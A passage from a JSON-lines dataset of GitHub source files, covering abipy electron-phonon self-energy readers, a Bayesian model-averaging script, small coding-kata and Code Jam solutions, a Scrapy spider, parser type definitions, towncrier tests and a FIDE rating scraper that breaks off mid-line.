len(itemp_list)), # if kw_color is None else kw_color,\n show=False,**kwargs)\n\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n def get_ebands_plotter(self, edos_kwargs=None, with_edos=True) -> ElectronBandsPlotter:\n \"\"\"\n Build and return |ElectronBandsPlotter| with KS and QP(T) results\n\n Args:\n edos_kwargs: optional dictionary with the options passed to ``get_edos`` to compute the electron DOS.\n with_edos: False if DOSes are not wanted\n \"\"\"\n if not self.has_kpath:\n raise ValueError(\"QP bands on k-path are required.\")\n\n ebands_plotter = ElectronBandsPlotter()\n if self.ks_ebands_kpath is not None:\n ebands_plotter.add_ebands(\"KS\", self.ks_ebands_kpath,\n edos=self.ks_ebands_kmesh if with_edos else None,\n edos_kwargs=edos_kwargs)\n\n for itemp in range(self.ntemp):\n label = \"T = %.1f K\" % self.tmesh[itemp]\n ebands_plotter.add_ebands(label, self.qp_ebands_kpath_t[itemp],\n edos=self.qp_ebands_kmesh_t[itemp] if (self.has_kmesh and with_edos) else None,\n edos_kwargs=edos_kwargs)\n\n return ebands_plotter\n\n def get_edos_plotter(self, edos_kwargs=None) -> ElectronDosPlotter:\n \"\"\"\n Build and return |ElectronDosPlotter| with KS and QP(T) results.\n\n Args:\n edos_kwargs: optional dictionary with the options passed to ``get_edos`` to compute the electron DOS.\n \"\"\"\n if not self.has_kmesh:\n raise ValueError(\"QP bands on k-mesh are required.\")\n\n edos_plotter = ElectronDosPlotter()\n if self.ks_ebands_kmesh is not None:\n edos_plotter.add_edos(\"KS\", edos=self.ks_ebands_kmesh, edos_kwargs=edos_kwargs)\n\n for itemp in range(self.ntemp):\n label = \"T = %.1f K\" % self.tmesh[itemp]\n edos_plotter.add_edos(label, edos=self.qp_ebands_kmesh_t[itemp], edos_kwargs=edos_kwargs)\n\n return edos_plotter\n\n\nclass SigmaPhReader(BaseEphReader):\n \"\"\"\n Reads data from file and constructs objects.\n\n .. rubric:: Inheritance Diagram\n .. inheritance-diagram:: SigmaPhReader\n \"\"\"\n def __init__(self, path: str):\n super().__init__(path)\n\n self.nsppol = self.read_dimvalue(\"nsppol\")\n\n # Get important dimensions.\n self.nkcalc = self.read_dimvalue(\"nkcalc\")\n self.ntemp = self.read_dimvalue(\"ntemp\")\n self.nqbz = self.read_dimvalue(\"nqbz\")\n self.nqibz = self.read_dimvalue(\"nqibz\")\n self.ngqpt = self.read_value(\"ngqpt\")\n self.ddb_ngqpt = self.read_value(\"ddb_ngqpt\")\n\n # T mesh and frequency meshes.\n self.ktmesh_ha = self.read_value(\"kTmesh\")\n self.tmesh = self.ktmesh_ha / abu.kb_HaK\n self.ktmesh_ev = self.ktmesh_ha * abu.Ha_eV\n\n # The K-points where QP corrections have been calculated.\n structure = self.read_structure()\n self.sigma_kpoints = KpointList(structure.reciprocal_lattice, self.read_value(\"kcalc\"))\n for kpoint in self.sigma_kpoints:\n kpoint.set_name(structure.findname_in_hsym_stars(kpoint))\n\n # [nsppol, nkcalc] arrays with index of KS bands computed.\n # Note conversion between Fortran and python convention.\n self.bstart_sk = self.read_value(\"bstart_ks\") - 1\n self.nbcalc_sk = self.read_value(\"nbcalc_ks\")\n self.bstop_sk = self.bstart_sk + self.nbcalc_sk\n self.max_bstart = self.bstart_sk.max()\n self.min_bstop = self.bstop_sk.min()\n\n # Number of frequency points along the real axis for Sigma(w) and spectral function A(w)\n # This dimension is optional, its presence signals that we have Sigma(w)\n self.nwr = self.read_dimvalue(\"nwr\", default=0)\n\n # Number of frequency points in Eliashberg functions\n # This quantity is optional, 0 means *not available*\n self.gfw_nomega = self.read_dimvalue(\"gfw_nomega\", default=0)\n\n def get_sigma_skb_kpoint(self, spin, kpoint, band):\n \"\"\"\n This method receives in input easy-to-use indices/arguments such as\n the reduced coordinates of the k-point and/or the \"global\" band index the user would expect\n if all bands were treated and returns the indices needed to access the internal netcdf arrays.\n It also performs some basic consistency checks.\n\n Raises: ValueError if invalid input.\n\n Returns: (spin, ikcalc, band_kcalc, kpoint) where ikcalc and band_kcalc are the internal netcdf indices\n \"\"\"\n ikc = self.sigkpt2index(kpoint)\n\n # Consistency check.\n if not (len(self.sigma_kpoints) > ikc >= 0):\n raise ValueError(\"Invalid k-point index `%d`. should be in [0, %d[\" % (ikc, len(self.sigma_kpoints)))\n if not (self.nsppol > spin >= 0):\n raise ValueError(\"Invalid spin index `%d`. should be in [0, %d[\" % (ikc, self.nsppol))\n if not (self.bstop_sk[spin, ikc] > band >= self.bstart_sk[spin, ikc]):\n raise ValueError(\"Invalid band index `%d`. should be in [%d, %d[\" % (\n band, self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc]))\n\n return spin, ikc, band - self.bstart_sk[spin, ikc], self.sigma_kpoints[ikc]\n\n def sigkpt2index(self, sigma_kpoint):\n \"\"\"\n Returns the index of the self-energy k-point in sigma_kpoints\n Used to access data in the arrays that are dimensioned as [0:nkcalc].\n sigma_kpoint can be either an integer or list with reduced coordinates.\n \"\"\"\n if duck.is_intlike(sigma_kpoint):\n ikc = int(sigma_kpoint)\n if self.nkcalc > ikc >= 0: return ikc\n raise ValueError(\"kpoint index should be in [0, %d[ but received: %d\" % (self.nkcalc, ikc))\n else:\n return self.sigma_kpoints.index(sigma_kpoint)\n\n def read_qplist_sk(self, spin, kpoint, ignore_imag=False):\n \"\"\"\n Read and return :class:`QpTempList` object for the given spin, kpoint.\n\n Args:\n spin: Spin index.\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n ignore_imag: Only real part is returned if ``ignore_imag``.\n \"\"\"\n ikc = self.sigkpt2index(kpoint)\n bstart, bstop = self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc]\n\n return QpTempList([self.read_qp(spin, ikc, band, ignore_imag=ignore_imag)\n for band in range(bstart, bstop)])\n\n def read_sigeph_skb(self, spin, kpoint, band):\n \"\"\"\n Returns the e-ph self energy for the given (spin, k-point, band).\n\n Args:\n spin: Spin index\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n band: band index.\n\n Return: :class:`EphSelfEnergy` object.\n \"\"\"\n if self.nwr == 0:\n raise ValueError(\"%s does not contain spectral function data.\" % self.path)\n\n spin, ikc, ib, kpoint = self.get_sigma_skb_kpoint(spin, kpoint, band)\n\n # Abinit fortran (Ha units)\n # wrmesh_b(nwr, max_nbcalc, nkcalc, nsppol)\n # Frequency mesh along the real axis (Ha units) used for the different bands\n #print(spin, ikc, ib, self.read_variable(\"wrmesh_b\").shape)\n wmesh = self.read_variable(\"wrmesh_b\")[spin, ikc, ib, :] * abu.Ha_eV\n\n # complex(dpc) :: vals_e0ks(ntemp, max_nbcalc, nkcalc, nsppol)\n # Sigma_eph(omega=eKS, kT, band)\n vals_e0ks = self.read_variable(\"vals_e0ks\")[spin, ikc, ib, :, :] * abu.Ha_eV\n vals_e0ks = vals_e0ks[:, 0] + 1j * vals_e0ks[:, 1]\n\n # complex(dpc) :: dvals_de0ks(ntemp, max_nbcalc, nkcalc, nsppol)\n # d Sigma_eph(omega, kT, band, kcalc, spin) / d omega (omega=eKS)\n dvals_de0ks = self.read_variable(\"dvals_de0ks\")[spin, ikc, ib, :, :]\n dvals_de0ks = dvals_de0ks[:, 0] + 1j * dvals_de0ks[:, 1]\n\n # real(dp) :: dw_vals(ntemp, max_nbcalc, nkcalc, nsppol)\n # Debye-Waller term (static).\n dw_vals = self.read_variable(\"dw_vals\")[spin, ikc, ib, :] * abu.Ha_eV\n\n # complex(dpc) :: vals_wr(nwr, ntemp, max_nbcalc, nkcalc, nsppol)\n # Sigma_eph(omega, kT, band) for given (k, spin).\n # Note: enk_KS corresponds to nwr/2 + 1.\n vals_wr = self.read_variable(\"vals_wr\")[spin, ikc, ib, :, :, :] * abu.Ha_eV\n vals_wr = vals_wr[:, :, 0] + 1j * vals_wr[:, :, 1]\n\n # Spectral function\n # nctkarr_t(\"spfunc_wr\", \"dp\", \"nwr, ntemp, max_nbcalc, nkcalc, nsppol\")\n spfunc_wr = self.read_variable(\"spfunc_wr\")[spin, ikc, ib, :, :] / abu.Ha_eV\n\n # Read QP data. Note band instead of ib index.\n qp = self.read_qp(spin, ikc, band)\n\n # Read contributions given by the Frohlich model (optional)\n frohl_vals_e0ks = None; frohl_dvals_de0ks = None; frohl_spfunc_wr = None\n #if self.read_variable(\"frohl_model\", default=0):\n # frohl_vals_e0ks = self.read_variable(\"frohl_vals_e0ks\")[spin, ikc, ib, :, :] * abu.Ha_eV\n # frohl_vals_e0ks = frohl_vals_e0ks[:, 0] + 1j * frohl_vals_e0ks[:, 1]\n # frohl_dvals_de0ks = self.read_variable(\"frohl_dvals_de0ks\")[spin, ikc, ib, :, :]\n # frohl_dvals_de0ks = frohl_dvals_de0ks[:, 0] + 1j * frohl_dvals_de0ks[:, 1]\n # frohl_spfunc_wr = self.read_variable(\"frohl_spfunc_wr\")[spin, ikc, ib, :, :] / abu.Ha_eV\n\n return EphSelfEnergy(wmesh, qp, vals_e0ks, dvals_de0ks, dw_vals, vals_wr, spfunc_wr,\n frohl_vals_e0ks=frohl_vals_e0ks,\n frohl_dvals_de0ks=frohl_dvals_de0ks,\n frohl_spfunc_wr=frohl_spfunc_wr)\n\n def read_a2feph_skb(self, spin, kpoint, band):\n \"\"\"\n Read and return the Eliashberg function for the given (spin, k-point, band).\n\n Args:\n spin: Spin index\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n band: band index.\n\n Return: :class:`A2feph` object.\n \"\"\"\n # Access netcdf arrays directly instead of building a2f objects because it's gonna be faster.\n # nctkarr_t(\"gfw_mesh\", \"dp\", \"gfw_nomega\")\n # nctkarr_t(\"gfw_vals\", \"dp\", \"gfw_nomega, three, max_nbcalc, nkcalc, nsppol\")\n # 1: gkk^2 with delta(en - em)\n # 2:3 (Fan-Migdal/DW contribution)\n wmesh = self.read_value(\"gfw_mesh\") * abu.Ha_eV\n #values = self.read_value(\"gfw_vals\") # * abu.Ha_eV # TODO\n\n # Get a2f_{sbk}(w)\n spin, ikc, ibc, kpoint = self.get_sigma_skb_kpoint(spin, kpoint, band)\n var = self.read_variable(\"gfw_vals\")\n values = var[spin, ikc, ibc] * abu.Ha_eV # TODO check units\n gkq2, fan, dw = values[0], values[1], values[2]\n\n return A2feph(wmesh, gkq2, fan, dw, spin, kpoint, band)\n\n def read_qp(self, spin, kpoint, band, ignore_imag=False):\n \"\"\"\n Return :class:`QpTempState` for the given (spin, kpoint, band)\n (NB: band is a global index i.e. unshifted)\n Only real part is returned if ``ignore_imag``.\n \"\"\"\n spin, ikc, ibc, kpoint = self.get_sigma_skb_kpoint(spin, kpoint, band)\n\n def ri(a):\n return np.real(a) if ignore_imag else a\n\n # (Complex) QP energies computed with the dynamic formalism.\n # nctkarr_t(\"qp_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n var = self.read_variable(\"qp_enes\")\n qpe = (var[spin, ikc, ibc, :, 0] + 1j * var[spin, ikc, ibc, :, 1]) * abu.Ha_eV\n\n # On-the-mass-shell QP energies.\n # nctkarr_t(\"qpoms_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n try:\n var = self.read_variable(\"qpoms_enes\")\n except Exception:\n #cprint(\"Reading old deprecated sigeph file!\", \"yellow\")\n var = self.read_variable(\"qpadb_enes\")\n\n qpe_oms = var[spin, ikc, ibc, :, 0] * abu.Ha_eV\n\n # Debye-Waller term (static).\n # nctkarr_t(\"dw_vals\", \"dp\", \"ntemp, max_nbcalc, nkcalc, nsppol\"),\n var = self.read_variable(\"dw_vals\")\n dw = var[spin, ikc, ibc, :] * abu.Ha_eV\n\n # Sigma_eph(omega=eKS, kT, band, ikcalc, spin)\n # nctkarr_t(\"vals_e0ks\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n # TODO: Add Fan0 instead of computing Sigma - DW?\n var = self.read_variable(\"vals_e0ks\")\n sigc = (var[spin, ikc, ibc, :, 0] + 1j * var[spin, ikc, ibc, :, 1]) * abu.Ha_eV\n fan0 = sigc - dw\n\n # nctkarr_t(\"ks_enes\", \"dp\", \"max_nbcalc, nkcalc, nsppol\")\n e0 = self.read_variable(\"ks_enes\")[spin, ikc, ibc] * abu.Ha_eV\n\n # nctkarr_t(\"ze0_vals\", \"dp\", \"ntemp, max_nbcalc, nkcalc, nsppol\")\n ze0 = self.read_variable(\"ze0_vals\")[spin, ikc, ibc]\n\n return QpTempState(spin=spin, kpoint=kpoint, band=band, tmesh=self.tmesh,\n e0=e0, qpe=ri(qpe), ze0=ze0, fan0=ri(fan0), dw=dw, qpe_oms=qpe_oms)\n\n def read_allqps(self, ignore_imag=False):\n \"\"\"\n Return list with ``nsppol`` items. Each item is a :class:`QpTempList` with the QP results.\n\n Args:\n ignore_imag: Only real part is returned if ``ignore_imag``.\n \"\"\"\n qps_spin = self.nsppol * [None]\n\n # TODO: Try to optimize this part.\n for spin in range(self.nsppol):\n qps = []\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n for band in range(self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc]):\n qps.append(self.read_qp(spin, ikc, band, ignore_imag=ignore_imag))\n qps_spin[spin] = QpTempList(qps)\n\n return tuple(qps_spin)\n\n\n","repo_name":"abinit/abipy","sub_path":"abipy/eph/sigeph.py","file_name":"sigeph.py","file_ext":"py","file_size_in_byte":162157,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"72"} +{"seq_id":"40189785595","text":"from enum import Enum\nfrom typing import Any, Callable, Dict, Literal, Union\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom drs import drs\nfrom numpy.typing import NDArray\n\n\ndef prior_uniform_drs(n_samples: int, n_models: int):\n \"\"\"Return uniform prior using the Dirichlet-rescale algorithm.\n\n Parameters\n ----------\n n_samples\n The number of samples to generate\n n_models\n The number of models (components)\n\n See Also\n --------\n https://github.com/dgdguk/drs\n\n \"\"\"\n prior = np.array(\n [\n drs(n_models, 1.0, np.ones(n_models), np.zeros(n_models))\n for i in range(n_samples)\n ]\n )\n return prior\n\n\ndef prior_uniform_power(\n n_samples: int, n_models: int, threshold: float = 0.95, max_power: int = 20\n):\n \"\"\"Return uniform prior using Elias' method.\n\n Produces uniform samples by rescaling and applies a power until a sample of at least\n `threshold` is seen. This is to make sure we test if one single model is dominant to\n all others.\n\n \"\"\"\n\n def _normalize(a):\n return a / a.sum(axis=1)[:, np.newaxis]\n\n prior = np.random.uniform(size=(n_samples, n_models))\n pwr = 1\n while _normalize(prior**pwr).max() < threshold and pwr < max_power:\n pwr += 1\n return _normalize(prior**pwr)\n\n\nclass Prior(Enum):\n DRS = prior_uniform_drs\n POWER = prior_uniform_power\n\n\ndef compute_posterior_samples(\n inputs: Dict[str, Dict[str, Any]], priors: Dict[str, NDArray], likelihood: Callable\n):\n \"\"\"Return\n\n Parameters\n ----------\n inputs\n A nested dictionary of modeled inputs to blend where the top level consists of\n model keys and nested levels are variables.\n priors\n A dictionary of whose keys represent the models.\n likelihood\n A function which returns a scalar value given a dictionary of mean inputs.\n\n Returns\n -------\n posterior\n An array of the mean weighted by the priors and mapped through the likelihood.\n\n Note\n ----\n This function is the most flexible but does require that all data be loaded into\n memory prior to calling the function. We will need a version of this where the\n inputs are a dictionary of model objects and a list of variables.\n\n \"\"\"\n n_samples = min([len(priors[p]) for p in priors])\n models = inputs.keys()\n variables = list(set([v for _, m in inputs.items() for v in m]))\n post = []\n for i in range(n_samples): # we could do this in parallel\n mean = {}\n for variable in variables:\n mean[variable] = []\n for model in models:\n mean[variable].append(inputs[model][variable] * priors[model][i])\n mean[variable] = sum(mean[variable])\n post.append(likelihood(mean))\n return np.array(post)\n\n\ndef compute_model_weights(\n inputs: Dict[str, Dict[str, Any]],\n likelihood: Callable,\n prior: Literal[Prior.DRS, Prior.POWER] = Prior.DRS,\n number_samples: int = 100,\n best_percentile: float = 5.0,\n plot_distributions: Union[str, None] = None,\n):\n \"\"\"Return\n\n Parameters\n ----------\n inputs\n A nested dictionary of modeled inputs to blend where the top level consists of\n model keys and nested levels are variables.\n priors\n A dictionary of whose keys represent the models.\n likelihood\n A function which returns a scalar value given a dictionary of mean inputs.\n\n Returns\n -------\n weights\n An array of the mean weighted by the priors and mapped through the likelihood.\n\n \"\"\"\n models = list(inputs.keys())\n nmodels = len(models)\n\n # generate a prior distribution and assign values to each model in a dictionary.\n samples = prior(number_samples, nmodels)\n priors = {model: samples[:, col] for col, model in enumerate(models)}\n\n # call the function to generate the posterior samples\n posterior = compute_posterior_samples(inputs, priors, likelihood)\n\n # choose weights to be the mean of the best 5%\n best_indices = np.where(posterior < np.percentile(posterior, best_percentile))\n weights = {m: p[best_indices].mean() for m, p in priors.items()}\n assert np.allclose(sum([w for _, w in weights.items()]), 1)\n\n # optionally plot prior/posterior\n if plot_distributions is not None:\n fig, axs = plt.subplots(\n figsize=(10, nmodels * 3), nrows=nmodels, ncols=2, tight_layout=True\n )\n for i, m in enumerate(models):\n axs[i, 0].hist(priors[m])\n axs[i, 0].set_title(f\"Prior {m}\")\n axs[i, 0].set_xlim(0, 1)\n axs[i, 1].hist(priors[m][best_indices])\n axs[i, 1].set_title(f\"Posterior {m}\")\n axs[i, 1].set_xlim(0, 1)\n fig.savefig(plot_distributions)\n plt.close()\n\n return weights\n\n\nif __name__ == \"__main__\":\n # define a likelihood function\n def rmse(mean):\n obs = {\"tas\": 1.29, \"pr\": 2.61} # <-- data fabricated to favor CESM2\n return np.sqrt(sum([(mean[v] - obs[v]) ** 2 for v in mean]))\n\n # setup the model inputs, normally these would be xarray dataarrays but anything\n # that can be scaled by a float and added together will work.\n inputs = {\n \"CESM2\": {\"tas\": 1.3, \"pr\": 2.6},\n \"CESM2-WACCM\": {\"tas\": 1.295, \"pr\": 2.605},\n \"E3SM\": {\"tas\": 1.1, \"pr\": 2.8},\n }\n\n w = compute_model_weights(\n inputs,\n rmse,\n prior=Prior.POWER,\n number_samples=10000,\n plot_distributions=\"dist.png\",\n )\n print(w)\n","repo_name":"nocollier/model-average","sub_path":"method_bayesian.py","file_name":"method_bayesian.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34715837345","text":"\r\n# https://www.codewars.com//kata/5a6d3bd238f80014a2000187\r\n\r\ndef cat_or_dog(years, step):\r\n old = 0\r\n\r\n for year in range(0, years + 1):\r\n\r\n if year == 15:\r\n old += 1\r\n\r\n if 15 < year < 24:\r\n continue\r\n\r\n if year == 24:\r\n old += 1\r\n\r\n if year > 24 and (year - 24) % step == 0:\r\n old += 1\r\n\r\n return old\r\n\r\n\r\ndef owned_cat_and_dog(cat_years, dog_years):\r\n cat_human = cat_or_dog(cat_years, 4)\r\n dog_human = cat_or_dog(dog_years, 5)\r\n\r\n return [cat_human, dog_human]\r\n","repo_name":"Vasandre/For_education","sub_path":"First task/Cat Dog Years.py","file_name":"Cat Dog Years.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43092236417","text":"#/----------------------------------------------------------------------------------\n#/! Macro module CommandBox\n#*!\n#/ \\file CommandBox.py\n#/ \\author Alexander Broersen\n#/ \\date 2016-10-14\n#/\n#/\n#*/\n#/----------------------------------------------------------------------------------\n\nfrom mevis import MLAB\n\ndef processOnce():\n commandList = ctx.field(\"commandList\").value;\n isVerbose = ctx.field(\"isVerbose\").value;\n isProcessEvents = ctx.field(\"isProcessEvents\").value;\n isProcessInventorQueue = ctx.field(\"isProcessInventorQueue\").value;\n sleep = ctx.field(\"sleep\").value;\n commands = commandList.split('\\n')\n for i in range(0, len(commands)):\n command = commands[i]\n if ( (command != '') and (command[0] != '#') ):\n if (isVerbose):\n MLAB.log(\"CommandBox ... \" + command);\n ctx.parent().field(command).touch();\n if (isProcessEvents):\n MLAB.processEvents();\n if (isProcessInventorQueue):\n MLAB.processInventorQueue();\n MLAB.msleep(sleep);\n \n \n\n\ndef apply(field):\n if ctx.field(\"isLoop\").value:\n start = ctx.field(\"startLoop\").value;\n stop = ctx.field(\"stopLoop\").value;\n for i in range(start, stop+1):\n ctx.field(\"val\").setValue(i);\n processOnce();\n else:\n processOnce();\n ","repo_name":"MeVisLab/communitymodules","sub_path":"Community/General/Modules/Macros/Command/CommandBox.py","file_name":"CommandBox.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"72"} +{"seq_id":"427989067","text":"import scrapy\r\n\r\n\r\n# request = scrapy.Request(\"http://www.ccgp-shanxi.gov.cn/\")\r\n\r\n\r\nclass ccgp_shanxiSpider(scrapy.Spider):\r\n name = \"ccgp_shanxi\"\r\n # 定义爬虫爬取的起始点,起始点可以是多个,这里只有一个\r\n start_urls = ['http://www.ccgp-shanxi.gov.cn/view.php?ntype=fnotice&nodeid=154']\r\n\r\n def parse(self, response):\r\n scrapy.Request(start_urls, callback=self.parse, method=\"POST\")\r\n yield scrapy.Request('http://books.toscrape.com/',\r\n callback=self.parse_book,\r\n headers={'User-Agent': 'Mozilla/5.0'},\r\n dont_filter=True)\r\n print(\"sss\" + response)\r\n\r\n # # # 提取数据\r\n # # # 每一本书的信息在中,我们使用\r\n # # # css()方法找到所有这样的article 元素,并依次迭代\r\n # for item in response.css('tr.odd'):\r\n # # 书名信息在article > h3 > a 元素的title属性里target='_blank'\r\n # # 例如: A Light in the ...\r\n # name = item.xpath('./a/@target').extract_first()\r\n # print(item)\r\n #\r\n # # 书价信息在

的TEXT中。\r\n # # 例如:

£51.77

\r\n # # price = book.css('p.price_color::text').extract_first()\r\n # # yield {\r\n # # 'name': name,\r\n # # }\r\n print(\"sfds\")\r\n","repo_name":"xzc5858/caigou","sub_path":"caigou/caigou/defaultpage.py","file_name":"defaultpage.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24133788916","text":"from typing import Callable, Generator, Iterable, TypeVar\n\n\n__all__ = (\"Parser\", \"ParserGenerator\", \"Splitter\", \"T\")\n\nT = TypeVar(\"T\")\n\nParser = Callable[[bytes], Iterable[T]]\n\"\"\"Type specification for message parser functions that can be fed with\nincoming data and that return the parsed messages.\n\nParameters:\n data: the raw bytes to feed into the parser\n\nReturns:\n iterables of parsed messages from the current chunk (and from any\n unprocessed data in previous chunks)\n\nRaises:\n ParseError: in case of unrecoverable parse errors\n\"\"\"\n\nParserGenerator = Generator[Iterable[T], bytes, None]\n\"\"\"Type specification for message parser generators that can be fed with\nincoming data and that yield the parsed messages.\n\nAccepts:\n the raw bytes to feed into the parser\n\nYields:\n iterables of parsed messages from the current chunk (and from any\n unprocessed data in previous chunks)\n\nRaises:\n ParseError: in case of unrecoverable parse errors\n\"\"\"\n\nSplitter = ParserGenerator[bytes]\n\"\"\"Type specification for message splitter generators that can be fed with\nincoming data and that yield the individual, raw (not parsed) messages.\n\nAccepts:\n the raw bytes to feed into the parser\n\nYields:\n iterables of individual messages from the current chunk (and from\n any unprocessed data in previous chunks)\n\nRaises:\n ParseError: in case of unrecoverable parse errors\n\"\"\"\n\nFilter = Callable[[T], bool]\n\"\"\"Type specification for filter functions (both pre-filter and post-filter).\n\nPre-filters accept raw messages and return whether the message should be\nprocessed further.\n\nPost-filters accept parsed (converted) messages and return whether they should\nbe yielded back to the caller of the parser.\n\"\"\"\n","repo_name":"skybrush-io/flockwave-parsers","sub_path":"src/flockwave/parsers/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19449067748","text":"import toml\n\nfrom tools.oca_towncrier import (\n _make_issue_format,\n _preserve_file,\n _prepare_pyproject_toml,\n)\n\n\ndef test_make_issue_format():\n assert (\n _make_issue_format(\"OCA\", \"repo\")\n == \"`#{issue} `_\"\n )\n\n\ndef test_preserve_file(tmp_path):\n p = tmp_path / \"dummy\"\n with _preserve_file(str(p)):\n # path does not exist\n p.write_text(u\"abc\")\n assert not p.exists()\n p.write_text(u\"abc\")\n with _preserve_file(str(p)):\n p.write_text(u\"xyz\")\n assert p.read_text() == u\"abc\"\n\n\ndef test_prepare_pyproject_toml(tmp_path):\n with _prepare_pyproject_toml(str(tmp_path), \"OCA\", \"repo\"):\n with open(str(tmp_path / \"pyproject.toml\")) as f:\n pyproject = toml.load(f)\n assert set(pyproject[\"tool\"][\"towncrier\"].keys()) == {\n \"template\",\n \"underlines\",\n \"title_format\",\n \"issue_format\",\n \"directory\",\n \"filename\",\n }\n","repo_name":"julio-cesar-lazcano/oca","sub_path":"tests/test_towncrier.py","file_name":"test_towncrier.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15211053359","text":"from codejam import *\nimport math\n\ndef pr(s, di):\n #print s, di\n s1 = s.lstrip(' (')\n if s1.find('(') == -1:\n return float(s1.lstrip(' ').rstrip(' )'))\n \n sp = s1.split()\n w = float(sp[0])\n rpr = sp[1]\n if rpr.find('(') != -1:\n rpr = rpr[:rpr.find('(')]\n \n \n i = j = s1.find('(') + 1\n d = 1\n while d > 0:\n j += 1\n if s1[j] == '(': d += 1\n if s1[j] == ')': d -= 1\n \n if rpr in di:\n return w * pr(s1[i-1:j+1], di)\n \n s1 = s1[j+1:]\n \n i = j = s1.find('(') + 1\n d = 1\n while d > 0:\n j += 1\n if s1[j] == '(': d += 1\n if s1[j] == ')': d -= 1\n \n return w * pr(s1[i-1:j+1], di) \n \n@codejam\ndef problem1(f):\n L = read_int(f)\n s = ''\n for n in xrange(L):\n s += read_str(f)\n A = read_int(f)\n r = ''\n for n in xrange(A):\n an = f.readline().rstrip('\\r\\n').split(' ')\n an.pop(0)\n an.pop(0)\n r += '\\n'\n r += \"%.7f\" % pr(s, an)\n return r\n\n@codejam\ndef problem2(f):\n pass\n\n@codejam\ndef problem3(f):\n pass\n\nproblem1()","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/09/21/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"2359664617","text":"import time\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom datetime import datetime\nfrom dateutil import relativedelta\nfrom gspread_dataframe import set_with_dataframe\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport os \nimport Levenshtein as lev\nfrom googleapiclient.discovery import build\nfrom retry import retry\nimport socket\nfrom performanceCalculator import ratingPerformance\nimport requests\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\npd.set_option('mode.chained_assignment', None)\n\ntimeout_in_sec = 10 # 5 seconds timeout limit\nsocket.setdefaulttimeout(timeout_in_sec)\n\n#playerName = 'Niemann, Hans Moke'\n#playerName = 'Gukesh D'\nplayerName = 'Erigaisi Arjun'\n#FIDE_ID = '2093596'\n#FIDE_ID = '46616543'\nFIDE_ID = '35009192'\nstartingPeriod = '2018-05-01'\nendPeriod = '2022-09-01'\n\nmy_api_key = \"YOUR_GOOGLE_PROJECT_API\" #The API_KEY you acquired\nmy_cse_id = \"YOUR_SEARCH_ENGINE_API\" #The search-engine-ID you created here https://programmablesearchengine.google.com/controlpanel/all\n\n\nstart = datetime.now()\nstartingPeriodDate = datetime.strptime(startingPeriod, \"%Y-%m-%d\")\nendPeriodDate = datetime.strptime(endPeriod, \"%Y-%m-%d\")\nwalkingDate = startingPeriodDate\nfullDateRange = []\n\nwhile walkingDate <= endPeriodDate:\n fullDateRange.append(datetime.strftime(walkingDate, \"%Y-%m-%d\"))\n walkingDate = walkingDate + relativedelta.relativedelta(months=1)\n\n@retry(delay=10)\ndef google_search(search_term, api_key=my_api_key, cse_id=my_cse_id, **kwargs):\n service = build(\"customsearch\", \"v1\", developerKey=api_key)\n res = service.cse().list(q=search_term, cx=cse_id, **kwargs).execute()\n if \"items\" in res.keys(): \n return res[\"items\"] \n else: \n return None\n\n\n\nplayerDf = pd.DataFrame(columns = ['Date', 'Tournment Name', 'Player Rating', 'Performance Rating', 'Opponents Average Rating', 'Number of Games', 'Points', 'Points/Games', 'DGT'])\n\nallLinks = []\nfor stringDate in fullDateRange:\n allLinks.append(\n f\"https://ratings.fide.com/a_indv_calculations.php?id_number={FIDE_ID}&rating_period={stringDate}&t=0\")\n\n\nfor link in allLinks:\n html = requests.get(link).text\n parsed_html = BeautifulSoup(html,'html.parser')\n fullTable = parsed_html.find('table', attrs={'class':'calc_table'})\n if fullTable != None:\n tableDf = pd.read_html(fullTable.prettify())[0]\n tableDf.drop(tableDf.index[tableDf['Unnamed: 0'] == \"* Rating difference of more than 400.\"], inplace=True)\n tableDf.reset_index(inplace=True, drop=True)\n limiters = tableDf.isnull().all(1)\n limiters = limiters[limiters==True].index.values.tolist()\n \n for limiter in limiters:\n if limiters.index(limiter) < len(limiters) -1:\n localDf = tableDf.iloc[limiter+1:limiters[limiters.index(limiter)+1]-3,:]\n else:\n localDf = tableDf.iloc[limiter+1:,:]\n tournment_name = tableDf.iloc[limiter-3,0]\n tournment_date = tableDf.iloc[limiter-3,7]\n player_rating = tableDf.iloc[limiter-1,1]\n opponentsAverageRating = tableDf.iloc[limiter-1,0]\n numberOfGames = len(localDf)\n pointsValues = localDf.iloc[:,5].apply(lambda x: float(x)).tolist()\n points = sum(pointsValues)\n pointsRatio = points / numberOfGames\n localDf.loc[:, 'Unnamed: 3'] = 